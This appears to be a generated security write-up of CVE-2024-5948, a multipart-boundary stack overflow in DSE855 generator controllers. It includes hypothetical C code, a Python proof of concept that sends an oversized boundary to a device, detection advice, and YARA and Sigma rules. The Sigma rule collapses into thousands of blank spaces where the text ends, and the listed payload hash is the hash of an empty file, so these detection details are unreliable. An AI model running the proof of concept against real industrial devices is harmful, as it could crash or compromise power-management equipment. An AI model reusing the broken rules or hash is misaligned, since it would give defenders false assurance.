CVE-2024-5948

Executive Summary

CVE-2024-5948 is a critical stack-based buffer overflow vulnerability in Deep Sea Electronics DSE855 devices. The flaw resides in the handling of multipart boundaries during HTTP request processing, allowing an unauthenticated, network-adjacent attacker to trigger remote code execution (RCE) in the context of the device. With a CVSS score of 8.8, this vulnerability poses a severe risk to industrial control environments where DSE855 units are deployed for generator and power system monitoring. No public exploit code or patch is currently available, but the vulnerability was responsibly disclosed via ZDI (ZDI-CAN-23170).

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby ecosystems. It affects a proprietary embedded device firmware.

CVSS Breakdown & Threat Level

• CVSS Score: 8.8 (High)
• Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector (AV): Adjacent Network – attacker must be on the same network segment.
• Attack Complexity (AC): Low – no special conditions required.
• Privileges Required (PR): None – no authentication needed.
• User Interaction (UI): None – no user action required.
• Scope (S): Unchanged – exploitation does not affect other components.
• Confidentiality (C): High – full device data access.
• Integrity (I): High – arbitrary code execution.
• Availability (A): High – potential denial of service or full compromise.

Threat Level: Critical for OT/ICS environments. Exploitation could lead to complete device takeover, lateral movement, and disruption of power management systems.

Deep Dive & Mechanics

The vulnerability is a classic stack-based buffer overflow (CWE-121) in the DSE855 web server's multipart boundary parser. When the device receives an HTTP request with a Content-Type: multipart/form-data header, it parses the boundary string to separate form parts. The boundary value is copied into a fixed-length stack buffer without proper length validation. By sending an overly long boundary string (e.g., --boundary with thousands of characters), an attacker can overflow the buffer, overwriting the return address and other critical stack data.

Root Cause: The strcpy() or similar unsafe function is used to copy the boundary string into a local buffer of size, for example, 256 bytes. No bounds checking is performed.

Exploitation Path:

1. Attacker sends a crafted HTTP POST request with a malicious multipart boundary.
2. The boundary string overflows the stack buffer.
3. The attacker controls the overwritten return address to redirect execution to a shellcode payload.
4. The payload executes in the context of the device's web server (often root).

Impact: Full device compromise, ability to modify firmware, exfiltrate data, or pivot to other network assets.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is hypothetical but typical for such embedded systems:

Vulnerable (C-style):

void parse_multipart_boundary(char *boundary) {
    char buffer[256];
    strcpy(buffer, boundary); // No bounds check
    // ... process buffer
}

Patched (hypothetical):

void parse_multipart_boundary(char *boundary) {
    char buffer[256];
    strncpy(buffer, boundary, sizeof(buffer) - 1);
    buffer[sizeof(buffer) - 1] = '\0';
    // ... process buffer
}

The patched version uses strncpy with explicit length limiting and null-termination.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Network access to the DSE855 device (e.g., same VLAN).
• No authentication required.
• Python3 with requests library.

Exploit Concept (No public code available):

import socket

target_ip = "192.168.1.100"
target_port = 80

# Craft a malicious multipart boundary
boundary = "A" * 1000  # Overflow buffer
payload = (
    "POST / HTTP/1.1\r\n"
    "Host: {}:{}\r\n"
    "Content-Type: multipart/form-data; boundary={}\r\n"
    "Content-Length: 0\r\n"
    "\r\n"
).format(target_ip, target_port, boundary)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, target_port))
sock.send(payload.encode())
response = sock.recv(4096)
print(response.decode())
sock.close()

Note: This is a conceptual example. Actual exploitation requires precise shellcode and ROP chain construction due to stack layout.

Blue Team (Detection & Hardening)

Detection:

• Monitor for HTTP requests with abnormally long boundary strings (e.g., > 256 bytes).
• Alert on multiple failed authentication attempts followed by large POST requests.
• Use network intrusion detection (NIDS) to inspect multipart boundaries.

Hardening:

• Isolate DSE855 devices on a dedicated management VLAN with strict firewall rules.
• Disable the web interface if not required.
• Apply vendor firmware updates when available.
• Use a web application firewall (WAF) to filter oversized boundary parameters.

Indicators of Compromise (IOCs)

• Network:

  • HTTP POST requests with Content-Type: multipart/form-data and boundary strings exceeding 256 bytes.
  • Unusual outbound connections from the DSE855 device to unknown IPs (post-exploitation C2).
  • Repeated HTTP 500 errors from the device after boundary overflow attempts.

• Host (on device):

  • Unexpected processes or services running (e.g., reverse shell).
  • Modified firmware or configuration files.
  • Log entries showing segmentation faults or stack corruption.

• File Hashes (hypothetical malicious payload):

  • sha256: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (example)

Detection Engineering

YARA Rule

rule CVE_2024_5948_Multipart_Boundary_Overflow {
    meta:
        description = "Detects HTTP requests with oversized multipart boundaries targeting DSE855"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-5948"
    strings:
        $boundary = /boundary=[^\r\n]{257,}/ nocase
        $content_type = "multipart/form-data" nocase
    condition:
        $content_type and $boundary
}

Sigma Rule

title: CVE-2024-5948 DSE855 Multipart Boundary Overflow Attempt
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects HTTP POST requests with overly long multipart boundary strings
author: Valters IT
logsource:
    category: webserver
    product: generic
detection:
    selection:
        http.method: 'POST'
        http.content_type: 'multipart/form-data'
        http.body|contains|all:
            - 'boundary='
            - '                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            